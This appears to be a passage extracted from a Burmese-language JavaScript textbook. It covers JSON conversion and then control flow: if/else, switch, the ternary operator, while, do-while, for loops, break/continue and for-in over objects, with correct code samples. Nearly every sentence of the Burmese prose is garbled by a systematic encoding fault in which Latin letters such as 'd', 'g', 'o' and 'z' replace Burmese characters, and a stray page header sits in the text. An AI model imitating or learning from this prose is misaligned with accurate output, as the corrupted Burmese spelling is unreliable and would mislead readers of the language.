တယ်။ JavaScript Object Notation ရဲ့ အတိုdကာက်goစ်ပါတယ်။ ကdန့dခတ်မှာ အဓိက Data Format
အdနနဲ့  အသုံးgပုeကပါတယ်။  JSON  ကို  အနှစ်ချုပ်အားgoင့်  အချက်အလက်dတွကို  JavaScript Object
ကဲ့သ့ုိ  စုoဲွ့ထားရှိgခင်းလုိ့  မှတ်ယူနိုင်ပါတယ်။  အားသာချက်ကdတာ့  JavaScript  သာမက  ကdန့dခတ်
အသံုးများတဲ့  Programming  Language  အားလံုးလုိလုိက  JSON  Format  နဲ့  သိမ်းဆည်းထားတဲ့
အချက်အလက်dတွကို နားလည် အလုပ်လုပ်နိုင်gခင်းပဲ goစ်ပါတယ်။

JSON နဲ့  JavaScript Object  တို့ဟာ dရးထုံးအားgoင့် အတူတူပါပဲ။ ကွဲလဲွချက်အdနနဲ့  (၂)  ချက်မှတရ်ပါ
မယ်။ ပထမတစ်ချက်ကdတာ့ JSON မှာ Index/Key dတွကို  Double Quote အoွင့်အပိတ်နဲ့ dရးdပးရပါ
တယ်။ ဒီလုိပါ –
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 JSON 
{
    "name": "Bob",
    "age": 22,
    "gender": "Male"
}

dရးထံုးတူdပမယ့်  Index/Key  dတွအားလံုး  Double  Quote  အoွင့်အပိတ်  အတွင်းမှာ  dရးထားတာကို
dတွ့ရမှာ goစ်ပါတယ်။ ပြပီးdတာ့၊ dနာက်ဆုံးက Trailing Comma ပါလို့မရတာကိုလည်း သတိgပုပါ။

ဒုတိယကွဲလွဲချက်အdနနဲ့၊  တန်oုိးအgoစ်  JSON  က လက်ခံတဲ့  အမျ ို းအစား  (၆)  မျ ို းပဲ ရိှပါတယ်။  String,
Number,  Boolean,  null,  Array,  Object  တို့goစ်ပါတယ်။  ဒီdgခာက်မျ ို းကလဲွရင်  တgခားအရာdတွကို
အသံုးgပုခွင့်မရှိတဲ့အတွက် JavaScript Object မှာလို  Function dတွ Method dတွ ပါဝင်လို့ရမှာ မဟုတ်
ပါzူး။ Comment dတွကိုdတာင် ထည့်သွင်းdရးသားလ့ုိ ရမှာ မဟုတ်ပါzူး။

ဒီကွဲလဲွချက် (၂) ခုကိုမှတ်ထားလုိက်ရင်dတာ့ ရပါပြပီ။ ကျန်dရးထုံးက အတူတူပါပဲ။ ဒါdပမယ့် လက်dတွ့မှာ
ကိုယ်တိုင်အတိအကျ  မှန်dအာင်လုိက်dရးdနo့ုိdတာ့  မလုိအပ်ပါzူး။  ရိုးရိုး  JavaScript  Object  dတွကို
JSON  String  goစ်dအာင်dgပာင်းလိုရင်  JSON.stringify() လ့ုိdခါ်တဲ့  Standard  Method  ကို
အသံုးgပုနိုင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 
let person = { name: "Alice", age: 21 }
JSON.stringify(person)    // { "name": "Alice", "age": 21 }

ရိုးရိုး  JavaScript Object  ဟာ  JSON String  goစ်သွားပါပြပီ။  JSON String  လ့ုိdgပာတာကို  သတိgပုပါ။
Object  မဟုတ်dတာ့ပါzူး။  String  goစ်သွားတာပါ။ ရိုးရိုး  String  မဟုတ်zဲ  JSON Format  နဲ့  oဲွ့စည်း
ထားတဲ့ String တစ်ခုပါ။

အလားတူပဲ  JSON String  dတွကို  JavaScript Object  dgပာင်းလုိ့လည်း ရပါတယ်။  JSON.parse()
ကို သံုးရပါတယ်။
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 JavaScript 
let json = '{ "name": "Alice", "age": 21 }'
JSON.parse(json)    // Object → { name: "Alice", age: 21 }

JSON  ဆိုတာ  အသံုးဝင်တဲ့  JavaScript  Standard  Object  dတွထဲက  တစ်ခုအပါအဝင်goစ်ပါတယ်။
JavaScript  မှာ တgခား အသံုးဝင်တဲ့  Standard Object dတွ အများကြကီးကျန်ပါdသးတယ်။ ရက်စွဲ/အချနိ်
dတွကို  စီမံနိုင်o့ုိအတွက်  Date Object  နဲ့  Absolute,  Square Root, Power, Round, Min,  Max  စတဲ့
တွက်ချက်မှုdတွအတွက် Math Object တို့လ့ုိ အdgခခံကျတဲ့ Object dတကွdန Promise တို့ Proxy တို့လုိ
အဆင့်gမင့်ကုဒ်  Architecture  အတွက်  အသံုးဝင်တဲ့  Object  dတွထိ  ရှိdနပါတယ်။  ဒါdတွကို  တစ်ခါထဲ
အကုန်စုံလင်dအာင် doာ်gပoို့မလွယ်သလုိ၊ စာoတ်သူအတွက်လည်း တစ်ခါထဲ အကုန်မှတ်သားdလ့လာo့ုိ
မလွယ်ပါzူး။ တစ်ကယ်dတာ့  JavaScript Object dတွရဲ့ သdzာသzာဝကို အခုdလာက် သိထားပြပီဆို
ရင်  လက်dတွ့လုိအပ်လာdတာ့မှသာ  သက်ဆိုင်ရာ  Reference  dတွမှာ  ကိုးကားeကည့်သွားလိုက်ရင်
အဆင်dgပသွားမှာပါ။

JavaScript Object Reference ကို ဒီdနရာမှာ အgပည့်အစုံdလ့လာနိုင်ပါတယ်။

- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects
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အခန်း (၁၇) – JavaScript Control Flows & Loops

ပံုမှန်အားgoင့် ပရိုZရမ်တစ်ခုမှာပါဝင်တဲ့ Statement dတွဟာ ကြကိုတင်သတ်မှတ်ထားတဲ့ အစီအစဉ်အတိုင်း
ပံုdသအလုပ်လုပ်သွားတာပါ။  အ့ဲဒီလိုအစီအစဉ်အတိုင်း  ပံုdသမဟုတ်zဲ  အdgခအdနdပါ်  မူတည်ပြပီး
အလုပ်လုပ်dစချင်ရင်လည်း ရပါတယ်။ ဒီအတွက် Conditional Statement ကို အသံုးgပုနိုင်ပါတယ်။

Conditional Statement  dတွကို  if Keyword  အသံုးgပုပြပီး  dရးရတဲ့အတွက်  If Statement  လ့ုိလည်း
dခါ်ပါတယ်။  If  Statement  ဟာ  Expression  တစ်ခုကို  လက်ခံပြပီးdတာ့  အ့ဲဒီ  Expression  ရဲ့  ရလဒ်
Condition  dပါ်မူတည်ပြပီး အလုပ်လုပ်dပးပါတယ်။ ရလဒ်ဟာ  true  သ့ုိမဟုတ်  false  ဆိုတဲ့  အdgခအdန
dပါ်မူတည်ပြပီး နှစ်မျ ို းထဲက တစ်မျ ို းကို လုပ်dပးနိုင်ဆိုတဲ့ သdzာပါပဲ။ dရးထံုးက ဒီလိုပါ – 

 Pseudocode 
if(condition)
    // if true, do this statement
else
    // if false, do this statements

if Keyword  dနာက်မှာ ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့  Condition  လုိက်ရပြပီး  Condition  ရဲ့ရလဒ်  true  goစ်
dတာ့မှသာ ဆက်လုိက်လာတဲ့  Statement  ကို အလုပ်လုပ်မှာgoစ်ပြပီး  Condition  က false  goစ်ခဲ့ရင်dတာ့
else Keyword dနာက်ကလုိက်တဲ့ Statement ကို အလုပ်လုပ်မှာပါ။ else Statement မလုိအပ်ရင် မ
ထည့်zဲ dနလ့ုိရပါတယ်။
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Statement တစ်ခုထက် ပုိမယ်ဆိုရင်dတာ့ Statement Block နဲ့ dပးနိုင်ပါတယ်။ ဒီလုိပါ – 

 Pseudocode 
if(condition) {
    // if true
    // do these
    // statements
} else {
    // if false
    // do these
    // statements
}

gမင်သာတာdလး တစ်ခုdလာက် ဥပမာdပးချင်ပါတယ်။ Array တစ်ခရုဲ့အတွင်းက 5 dတွကိုလုိက်ရှာပြပီး 10
dပါင်းdပးတဲ့ ကုဒ်dလးတစ်ခု dရးeကည့်eကပါမယ်။ ဒီလုိပါ – 

 JavaScript 
let nums = [ 1, 12, 5, 4, 9, 5 ]
let result = nums.map(function(n) {
    if(n === 5) n += 10
    return n
})

// result → [ 1, 12, 15, 4, 9, 15 ]

if Statement  နဲ့  n === 5 Condition  သံုးပြပီး စစ်လုိက်တာပါ။ မှန်တယ်ဆိုdတာ့မှ  n  တန်oုိးကို  10
dပါင်းထည့်မှာgoစ်ပြပီး မမှန်ရင် ဒီအတိုင်းထားလုိက်မှာပါ။  else Statement  မပါပါzူး။ ဒါdeကာင့် ရလဒ်
အdနနဲ့ Array ထဲက 5 dတွကို 10 dပါင်းdပးထားတဲ့ ရလဒ်ကို ရရိှမှာပဲ goစ်ပါတယ်။ 

if Statement  dတွကို  Nested အထပ်ထပ်dရးရတာမျ ို းလည်း ရှိနိုင်ပါတယ်။ ဥပမာ -  people Array
ထဲမှာ gender မရှရိင် Unknown လ့ုိdပးမယ်။ gender က f သ့ုိမဟုတ် F ဆိုရင် Female လ့ုိ dပးမယ်။
m သ့ုိမဟုတ် M ဆိုရင် Male လ့ုိdပးမယ် ဆိုeကပါစို့။ ဒီလုိdရးလို့ရနိုင်ပါတယ်။
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 JavaScript 
let people = [
    { name: "Alex" },
    { name: "Bob", gender: "M" },
    { name: "Tom", gender: "m" },
    { name: "Mary", gender: "F" },
]

let result = people.map(function(person) {
    if(person.gender) {
        if(person.gender === "m" || person.gender === "M") {
            person.gender = "Male"
        }

        if(person.gender === "f" || person.gender === "F") {
            person.gender = "Female"
        }
    } else {
        person.gender = "Unknown"
    }

    return person
})

/* result → [
    { name: "Alex", gender: "Unknown" },
    { name: "Bob", gender: "Male" },
    { name: "Tom", gender: "Male" },
    { name: "Mary", gender: "Female" },
] */

ဒီdလာက်များတဲ့ ကုဒ်ကို Console ထဲမှာ dရးစမ်းရတာ dတာ်dတာ်လက်ဝင်ပါလိမ့်မယ်။ ဒါdeကာင့် HTML
Document တစ်ခုတည်dဆာက်ပြပီး ကုဒ်ကို <script> Element နဲ့ dရးလ့ုိရပါတယ်။
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ပံုကိုeကည့်လုိက်ရင် ကုဒ်dတွကို HTML Document တစ်ခုထဲမှာ <script> Element နဲ့dရးထားပြပီး အ့ဲဒီ
Document ကို Browser နဲ့oွင့်ထားတာgoစ်ပါတယ်။ ပြပီးdတာ့မှ Console မှာ result ကို ထုတ်eကည့်ထား
တာပါ။ Document ထဲမှာ dရးထားတဲ့ ကုဒ်dတွဟာ Console မှာလည်း သက်ဝင်ပါတယ်။ dနာက်ပုိင်းကုဒ်
dတွ dရးရတာများလ့ုိ Console မှာတိုက်ရိုက်dရးရခက်ရင် ဒီနည်းဆက် dရးစမ်းeကည့်နိုင်ပါတယ်။

Condition ဟာ Boolean true/false မဟုတ်ရင်လည်း ရပါတယ်။ Truthy goစ်တဲ့တန်oုိးဆိုရင် true အdန
နဲ့ အလုပ်လုပ်သွားမှာgoစ်ပြပီး  Falsy  goစ်တဲ့ တန်oုိးဆိုရင်  false  အdနနဲ့ အလုပ်လုပ်dပးသွားမှာပါ။ နမူနာ
မှာ  person.gender ကို  zာနှိုင်းယှဉ်မှုမှ  မပါzဲ  Condition  အdနနဲ့  dပးထားပါတယ်။  အကယ်၍
person.gender မရှရိင်  undefined goစ်မှာမ့ုိလ့ုိ  Falsy goစ်ပါတယ်။ ဒါdeကာင့် else Statement
အလုပ်လုပ်သွားပြပီး  person.gender = Unknown goစ်သွားမှာပါ။  person.gender ရှိတယ်ဆိုရင်
zာပဲရှိရှိ  Truthy  မ့ုိလ့ုိ  သူနဲ့သက်ဆိုင်တဲ့  Block  ကို  ဆက်အလုပ်လုပ်သွားမှာပါ။  အထဲမှာ  dနာက်ထပ်
ထပ်ဆင့်  စစ်ထားပါdသးတယ်။  Comparison Operator  နဲ့  Logical  Operator  ကို  dပါင်းပြပီးdတာ့  သံုး
ထားပါတယ်။ ကုဒ်အရ m သ့ုိမဟုတ် M goစ်ခဲ့ရင် Male လ့ုိ သတ်မှတ်dပးသွားမှာgoစ်ပြပီး f သ့ုိမဟုတ် F goစ်
ခဲရ့င်  Female လ့ုိ သတ်မှတ်သွားမှာgoစ်ပါတယ်။ ဒီ ကုဒ်ကိုdနာက်တစ်မျ ို းလည်း dရးလို့ရပါdသးတယ်။ ဒီ
လုိပါ – 
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 JavaScript 
let result = people.map(function(person) {
    if(person.gender === "m" || person.gender === "M") {
        person.gender = "Male"
    } else if(person.gender === "f" || person.gender === "F") {
        person.gender = "Female"
    } else {
        person.gender = "Unknown"
    }

    return person
})

ဒီကုဒ်ကdတာ့  နည်းနည်းပုိရှင်းသွားပါတယ်။  else dနာက်မှာ  ထပ်ဆင့်  if Statement  ကို  ကပ်dရး
dပးလုိက်လ့ုိ m သ့ုိမဟုတ် M ဆိုရင် Male, f သ့ုိမဟုတ် F ဆိရုင် Female၊ တစ်ခုမှ မဟုတ်ရင် Unknown
ဆိုတဲ့  အဓိပ္ပါယ်dပါက်သွားပါတယ်။ ဒီdနရာမှာ  စကားdgပာလာတာကdတာ့  ကိုယ့်ရဲ့  Logical  Thinking
Skill  ပါပဲ။  deကာင်းကျ ို းဆက်စပ်  dတွးgမင်တတ်o့ုိ  လုိလာပါတယ်။  Logical  Thinking  dကာင်းသူက
အလွယ်dလး gမင်သွားနိုင်dပမယ့်  Logical Thinking  အားနည်းသူအတွက်dတာ့  နားလည်ရခက်dနနိုင်ပါ
တယ်။ ကြကိုးစားပြပီး gမင်dအာင်dလ့လာeကည့်ပါ။ ပရိုZရမ်မာdကာင်းတစ်dယာက်မှာ ရှရိမယ့် အရည်အချင်း
dတွထဲက အdရးအကြကီးဆုံး တစ်ခုကို dရးွထုတ်gပပါဆိုရင်   Logical Thinking   လ့ုိ dgပာရပါလိမ့်မယ်  ။

dနာက်ထပ်အdgခdနdပါ် မူတည်အလုပ်လုပ်dစလိုတဲ့အခါ သံုးနိုင်တဲ့နည်းကdတာ့  switch Statement
goစ်ပါတယ်။ dရးထံုးအရ  switch Keyword  dနာက်မှာ  ဝုိက်ကွင်းအoွင့်အပိတ်နဲ့  Express  ကိုdပးရပါ
တယ်။ သူကdတာ့  true/false  စစ်တာမဟုတ်dတာ့zဲ ရလာတဲ့ ရလဒ်နဲ့  ကိုက်ညီတဲ့  case Statement
ကို သွားပြပီးအလုပ်လုပ်dပးမှာ goစ်ပါတယ်။ ဒီလုိပါ – 

 Pseudocode 
switch(1 + 2) {
    case 1: // skip this statement
    case 2: // skip this statement
    case 3: // do this statement
    case 4: // do this statement
}
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နမူနာအရ 1 + 2 Expression ကိုdပးလုိက်လုိ့ ရလဒ်က 3 goစ်ပါတယ်။ ဒါdeကာင့် dပးထားတဲ့ case dတွ
ထဲက 1 နဲ့  2 ကို အလုပ်မလုပ်zဲ 3 ကိုအလုပ်လုပ်သွားမှာ goစ်ပါတယ်။ ထူးgခားချက်ကdတာ့ ကိုက်ညီတဲ့
case ကို dရာက်ပြပီးရင် ဆက်တိုက်အကုန်ဆက်လုပ်သွားမှာမ့ုိလ့ုိ  4 ကိုပါအလုပ်လုပ်သွားမှာ goစ်ပါတယ်။
အ့ဲဒီလုိ မလုပ်dစချင်ရင် break Statement ကို သံုးdပးရပါတယ်။

 Pseudocode 
switch(1 + 2) {
    case 1:

    // skip this statement
    break

    case 2:
    // skip this statement
    break

    case 3:
    // do this statement
    break

    case 4:
    // do not reach this statement
    break

}
 
case တိုင်းမှာ  break dတွလုိက်ထည့်dပးလုိက်တာပါ။  ဒါdeကာင့်  case တစ်ခုနဲ့ကိုက်ညီလ့ုိ  အလုပ်
လုပ်ပြပီးတာနဲ့  break နဲ့  Block ထဲကdန gပန်ထွက်သွားမှာgoစ်လုိ့ သ့ူdအာက်က မဆိုင်တဲ့  case dတွကို
ဆက်လုပ်dတာ့မှာ မဟုတ်ပါzူး။

အကယ်၍  case dတွတစ်ခုမှ  Expression  ရဲ့  ရလဒ်နဲ့မကိုက်ရင်  zယ်လုိလုပ်မလဲ။  default
Statement  ကိုသံုးနိုင်ပါတယ်။  case dတွတစ်ခုမှ မကိုက်ရင်  switch က default ကို အလုပ်လုပ်
dပးသွားမှာပါ။

 JavaScript 
switch (2 - 3) {
    case 1: // skip this statement
    case 2: // skip this statement
    default: // do this statement
}



PWD 2022 – အခန်း (၁၇) – JavaScript Control Flows & Loops 287

နမူနာအရ  Expression  ရလဒ်ဟာ  -1  goစ်dနလ့ုိ  case  1  နဲ့  2  နှစ်ခုလံုးနဲ့  မကိုက်ပါzူး။  ဒါdeကာင့်
default ကို  အလုပ်လုပ်သွားမှာ  goစ်ပါတယ်။  dစာdစာက အdပါ်မှာdပးခဲ့တဲ့  နမူနာကို  ဒီ  switch
Statement နဲ့လည်း dရးလို့ရနိုင်ပါတယ်။ ဒီလိုပါ – 

 JavaScript 
let result = people.map(function(person) {
    switch(person.gender) {

    case "m":
    case "M":
        person.gender = "Male"
        break
    case "f":
    case "F":
        person.gender = "Female"
        break
    default:
        person.gender = "Unknown"

    }

    return person
})

အကယ်၍ person.gender ဟာ  m goစ်dနရင်  case "m" ကို အလုပ်လုပ်သွားပါလိမ့်မယ်။  case
"m" မှာ နမူနာအရ zာ Statement မှမရှိပါzူး။ ဒါdပမယ့် break လည်းမပါလို့ ဆက်အလုပ်လုပ်သွား
မှာ  goစ်လ့ုိ  case "M" ကိdုရာက်သွားပါလိမ့်မယ်။  တန်oုိးကို  Male  လ့ုိသတ်မှတ်ပြပီးdနာက်မှာdတာ့
break ရှိdနလ့ုိ ရပ်သွားမှာ goစ်ပါတယ်။ f နဲ့ F ကိုလည်း အလားတူပဲ dရးထားပါတယ်။ တစ်ခုမှ ကိုက်ညီမှု
မရှိzူးဆိုdတာ့မှ dနာက်ဆုံးမှာ default ကို အလုပ်လုပ်သွားမှာပဲ goစ်ပါတယ်။

Condition Expression
If Statement  တို့  Switch Statement  တို့နဲ့  အdgခအdနdပါ်မူတည်ပြပီး အလုပ်လုပ်တဲ့  Statement  dတွ
သတ်မှတ်နိုင်သလုိ  Expression  dတွကိုလည်း  အdgခအdနdပါ်မူတည်ပြပီး  အလုပ်လုပ်တဲ့  Conditional
Expression goစ်dအာင် dရးလ့ုိပါတယ်။ Ternary Operator လ့ုိdခါ်တဲ့ Operator ကိုသံုးရပါတယ်။ 
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ဒီလုိပါ – 

 Pseudocode 
Condition ? Do-this-if-true : Do-this-if-false

Condition  ရဲ့dနာက်မှာ  Question  Mark  သdက[တလုိက်ရပြပီး  Condition  က  true  goစ်ရင်  Question
Mark dနာက်က Expression ကို အလုပ်လုပ်မှာပါ။ သ့ူdနာက်က Full-Colon ဆက်လုိက်ရပြပီး Condition
က false goစ်ခဲ့ရင်dတာ့ Full-Colon dနာက်က Expression ကို လုပ်မှာgoစ်ပါတယ်။

 JavaScript 
let user = { name: "Bob", age: 17 }
let status = user.age >= 18 ? "Authorized" : "Unauthorized"

နမူနာအရ status အတွက်တန်oုိး  "Unauthorized" goစ်မှာပါ။  Condition က user.age >= 18
ဆိုdတာ့  false  goစ်dနပါတယ်။  user.age က 17  goစ်dနလ့ုိပါ။ ဒါdeကာင့်  Question Mark  dနာက်က
အလုပ်ကို မလုပ်dတာ့zဲ Full-colon dနာက်ကအလုပ်ကို လုပ်သွားတဲ့အတွက် status ရဲ့တန်oုိးအgoစ်
Unauthorized ကို Assign လုပ်သွားမှာပဲ goစ်ပါတယ်။

Loops
တစ်ချ ို ့တူညီတဲ့  Statement  dတွကို  အကြကိမ်ကြကိမ်အလုပ်လုပ်o့ုိ  လုိအပ်တာမျ ို းdတွ  ရှိနိုင်ပါတယ်။
Statement တစ်ခုကို (၁၀) ကြကိမ်အလုပ်လုပ်dစချင်လ့ုိ (၁၀) ခါdရးစရာ မလုိပါzူး။ Loop dရးထံုးdတွရှိပါ
တယ်။ ဒီ Statement ကို (၁၀) ခါလုပ်လုိက်ပါ လ့ုိ ညွှန်eကားလုိက်လ့ုိ ရနိုင်ပါတယ်။ JavaScript မှာ Loop
dရးထံုးအမျ ို းမျ ို း ရှိပါတယ်။ ပထမဆုံးတစ်ခုအdနနဲ့ while Loop ကို eကည့်ချင်ပါတယ်။ 

while Loop  အတွက် ဝုိက်ကွင်းအoွင့်အပိတ်ထဲမှာ  Condition  ကို  dပးရပါတယ်။ အ့ဲဒီ  Condition  က
true goစ်dနသdရွ့ Statement dတွကို အကြကိမ်ကြကိမ် အလုပ်လုပ်dပးမှာ goစ်ပါတယ်။
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 JavaScript 
let count = 0
while(count < 3) {
    console.log(count)
    count++
}

// 0
// 1
// 2

နမူနာအရ count တန်oုိးဟာ မူလ 0 goစ်ပါတယ်။ while Loop အတွက် Condition က count < 3
goစ်တဲ့အတွက် မှန်ပါတယ်။ ဒါdeကာင့် သတ်မှတ်ထားတဲ့  Statement dတွကို အလုပ်လုပ်သွားမှာပါ။ အ့ဲဒီ
လုိ  အလုပ်လုပ်တဲ့အခါ  count တန်oုိးကို  1  တိုးထားလ့ုိ  တစ်ကြကိမ်  အလုပ်လုပ်ပြပီးတိုင်း  count  တန်oုိး
လုိက်တိုး  သွားမှာပါ။  သံုးကြကိမ်အလုပ်လုပ်ပြပီးလ့ုိ  count တန်oုိး  3  goစ်သွားတဲ့အခါ  count  <  3
Condition က မမှန်dတာ့ပါzူး count ဟာ 3 ထက်ငယ်လားလ့ုိ စစ်ထားတာပါ။ မငယ်dတာ့zူးdလ။ ဒါ
deကာင့် ဆက်အလုပ် မလုပ်dတာ့zဲ ရပ်သွားမှာ goစ်ပါတယ်။

do-while Loop လည်းရှိပါdသးတယ်။ while Loop နဲ့ သdzာသzာဝ ဆင်တူပါပဲ။

 JavaScript 
let count = 0
do {
    console.log(count)
    count++
} while(count < 3)
// 0
// 1
// 2

do Keyword  ရဲ့dနာက်မှာ ကုဒ်  Block  လုိက်ပြပီးdတာ့မှ  while Condition  က dနာက်ဆုံးကလုိက်တာ
ပါ။ အခုချနိ်မှာ ရလဒ်dgပာင်းမှာ မဟုတ်ပါzူး။  dရးထံုးကွဲသွားdပမယ့် ရိုးရိုး  while Loop  နဲ့  တူညီတဲ့
ရလဒ်ကိုပဲ ရမှာပါ။ သdzာသzာဝ ထူးgခားချက်ကိုသာ သတိgပုရမှာပါ။ while Loop က Condition အ
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ရင်စစ်ပြပီးမှ  အလုပ်လုပ်ပါ။  do-while Loop  ကdတာ့  အလုပ်လုပ်ပြပီးမှ  Condition  စစ်ပါတယ်။  ဒါ
deကာင့်  do-while   Loop    မှာ    Condition    မှန်သည်goစ်dစ မမှန်သည်goစ်dစ တစ်ကြကိမ်dတာ့ ကြကိမ်းdသ  
အလုပ်လုပ်မှာ goစ်ပါတယ်။ ပထမဆုံးအကြကိမ် Condition မစစ်ခင်လုပ်လုိက်တဲ့ အလုပ်တစ်ခု ရှိdနမှာ မ့ုိလို့
ပါ။ ဒီလိုပါ။

 JavaScript 
let count = 5
do {
    console.log(count)
    count++
} while(count < 3)
// 5

count တန်oုိး  5  goစ်တဲ့အတွက်  count < 3 Condition  ကမှားdနပါတယ်။  ဒါdပမယ့်  တစ်ကြကိမ်
အလုပ်လုပ်သွားလ့ုိ 5 ဆိုတဲ့doာ်gပချက်တစ်ခု ရှိdနမှာပဲ goစ်ပါတယ်။

dနာက်ထပ်  Loop  dရးထံုးတစ်ခုကdတာ့  for Loop  goစ်ပါတယ်။  for Keyword  dနာက်မှာ ဝုိက်ကွင်း
အoွင့်အပိတ်နဲ့အတူ Expression (၃) ခုလုိက်ရပါတယ်။

• ပထမဆုံး Expression ကို Loop မစခင်တစ်ကြကိမ် အလုပ်လုပ်ပါတယ်။
• ဒုတိယ  Expression  ကို  Condition  အdနနဲ့စစ်ပြပီး  true  goစ်dနသ၍  သတ်မှတ်ထားတဲ့

Statement dတွကို ထပ်ခါထပ်ခါ အလုပ်လုပ်မှာ goစ်ပါတယ်။
• တတိယ Expression ကို တစ်ကြကိမ်ပြပီးတိုင်း တစ်ခါအလုပ်လုပ်ပါတယ်။

ဒါdeကာင့် dစာdစာက while တို့  do-while တို့နဲ့dရးထားတဲ့  Loop နဲ့ တူညီတဲ့ရလဒ်မျ ို းရo့ုိအတွက်
အခုလုိ dရးနိုင်ပါတယ်။
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 JavaScript 
for(let count=0; count < 3; count++) {
    console.log(count)
}

// 0
// 1
// 2

Expression  တစ်ခုနဲ့တစ်ခုကို  Semicolon  နဲ့  ပုိင်းgခားdပးရပါတယ်။  dရှ့ ဆုံးမှာ  let count=0 လ့ုိ
dgပာထားတဲ့အတွက် count Variable တစ်ခုdeကညာပြပီး တန်oုိးကို  0 လ့ုိသတ်မှတ်dပးလုိက်မှာပါ။ တစ်
ကြကိမ်ပဲ အလုပ်လုပ်မယ့်  Expression  goစ်ပါတယ်။ ဒုတိယ Expression  ကို  Condition  အdနနဲ့ စစ်eကည့်
လုိက်တဲ့အခါ  count < 3 က  true  goစ်dနတဲ့အတွက် သတ်မှတ်ထားတဲ့  Statement  ကို  အလုပ်လုပ်
လုိက်ပါတယ်။ ပြပီးတဲ့အခါ for ရဲ့ တတိယ Expression ကိုအလုပ်လုပ်လုိက်တဲ့အတွက် count တန်oုိး 1
တိုးသွားပါတယ်။  Condition  စစ်eကည့်တဲ့အခါ  count < 3 က  true  goစ်dနdသးတဲ့အတွက်  ဆက်
အလုပ်လုပ်ပါတယ်။ 

while Loop  မှာ  Variable  deကညာတဲ့ကိစ္စdတွ၊ တစ်ကြကိမ်အလုပ်လုပ်ပြပီးတိုင်း  1  တိုးတဲ့ကိစ္စdတွကို ကို
ယ့်အစီအစဉ်နဲ့ကိုယ် dရးdပးရပါတယ်။  for Loop မှာတို့  အ့ဲဒီလုိ ပထမဆုံးအကြကိမ် deကညာတဲ့အလုပ်နဲ့
တစ်ကြကိမ်ပြပီးတိုင်း 1 တို့တဲ့အလုပ်တို့အတွက် dရးထံုးအရ သတ်မှတ်ထားပြပီးgoစ်dနလ့ုိ သူသတ်မှတ်ထားတဲ့
အတိုင်း တစ်ခါထဲ dရးလ့ုိရသွားပါတယ်။ ဆိုလုိတာက while Loop မှာ 1 တိုးdပးo့ုိ dမ့သွားလုိ့ Loop က
zယ်dတာ့မှ  Infinite  Loop  goစ်dအာင်  dရးမိသွားတယ်ဆိုတဲ့  အမှားမျ ို း  အစပုိင်းမှာ  ကြကုံရနိုင်ပါတယ်။
for Loop မှာdတာ့ အ့ဲဒီလုိအမှားမျ ို း goစ်နိုင်dgခ နည်းသွားပါတယ်။

လက်dတွ့မှာ ကိုယ့်လုိအပ်ချက်နဲ့ ကိုက်ညီတဲ့ Loop အမျ ို းအစားကို သံုးနိုင်ပါတယ်။ တစ်ကြကိမ်ပြပီးရင် 1 တိုး
တာdတာ့  အသံုးများတဲ့  ထံုးစံလုိgoစ်dနdပမယ့်  အပြမဲတမ်း  1  ပဲတိုးရမယ်ဆိုတာမျ ို း  မရှိပါzူး။  ကိုယ့်
လုိအပ်ချက်နဲ့ ကိုက်ညီdအာင် dရးလုိ့ရပါတယ်။

Loop dတွနဲ့အတူ တဲွသုံးdလ့ရှိတဲ့ Statement နှစ်ခု ရှိပါdသးတယ်။ break နဲ့ continue ပါ။ break
ကို အdeကာင်းအမျ ို းမျ ို းdeကာင့်  Loop  ကို  ရပ်လုိက်dစလုိတဲ့အခါ သံုးနိုင်ပါတယ်။  continue ကိုdတာ့
Loop လုပ်ရင် တစ်ချ ို ့အဆင့်dတွ dကျာ်ပြပီး ဆက်လုပ်သွားdစချင်တဲ့အခါ သုံးeကပါတယ်။
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 JavaScript 
let nums = [11, 22, -1 , 44]
for(let i=0; i < nums.length; i++) {
    if(nums[i] < 0) break
    console.log(nums[i])
}

// 11
// 22

နမူနာကုဒ်အရ စစချင်း Variable i ရဲ့တန်oုိး 0 goစ်ပြပီး i ရဲ့တန်oုိးက nums.length ထက် ငယ်dနသ၍
အလုပ်လုပ်မှာပါ။ nums Array မှာ Index (၄) ခုရှိတဲ့အတွက် nums.length တန်oုိး 4 goစ်မှာပါ။ ပံုမှန်
အတိုင်းဆိုရင် Index  0 ကdန Index 3 ထိ တန်oုိးdတွကို တစ်ခုပြပီးတစ်ခု အစအဆုံး အကုန်doာ်gပသွားမှာ
goစ်ပါတယ်။ 

ဒါdပမယ့်  if Condition  နဲ့  အကယ်၍လက်ရှိ  Index  တန်oုိး  0  ထက်ငယ်ရင်  break နဲ့ထွက်လုိက်oို့
dgပာထားတဲ့အတွက် ကျန်တဲ့အလုပ်dတွ ဆက်မလုပ်dတာ့zဲ  -1  တန်oုိးရှိdနတဲ့  Index  အdရာက်မှာ ရပ်
သွားတာပဲgoစ်ပါတယ်။

 JavaScript 
let nums = [11, 22, -1 , 44]
for(let i=0; i < nums.length; i++) {
    if(nums[i] < 0) continue
    console.log(nums[i])
}

// 11
// 22
// 44

ဒီတစ်ခါdတာ့  break မလုပ်dတာ့ပါzူး။  continue လုပ်ထားပါတယ်။ ဒါdeကာင့်  0  ထက်ငယ်တဲ့  -1
တန်oုိးရှိdနတဲ့အဆင့်ကို တစ်ဆင့်dကျာ်လုိက်ပြပီး ကျန်အလုပ်dတွကို ပြပီးဆုံးတဲ့အထိ ဆက်လုပ်သွားတာကို
dတွ့ရမှာ goစ်ပါတယ်။
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Looping Objects & Arrays
Array  dတွစီမံo့ုိအတွက်  map,  filter,  reduce  တို့လုိ  Method  dတရွှိပြပီးgoစ်ပါတယ်။  ဒါdပမယ့်  အ့ဲဒီ
Method dတွက Objects  dတွအတွက်သံုးလ့ုိ မရပါzူး။  Object  dတွကို  Loop  လုပ်o့ုိအတွက်  for-in
Loop ကိုသံုးနိုင်ပါတယ်။ ဒီလုိပါ – 

 JavaScript 
let user = { name: "Bob", age: 22, gender: "Male" }
for(p in user) {
    console.log(`${p} is ${user[p]}`)
}

// name is Bob
// age is 22
// gender is Male

Object  ထဲမှာ ရိှသမျှအကုန်  အစကdနအဆုံး  Loop  လုပ်dပးသွားမှာပါ။  zယ်ကစမယ်၊ zယ်မှဆုံးမယ်၊
တစတ်ိုးမယ်dတွ  dgပာစရာမလုိပါzူး။  p  dနရာမှာ  နှစ်သက်ရာ  Variable  အမည်dပးနိုင်ပါတယ်။
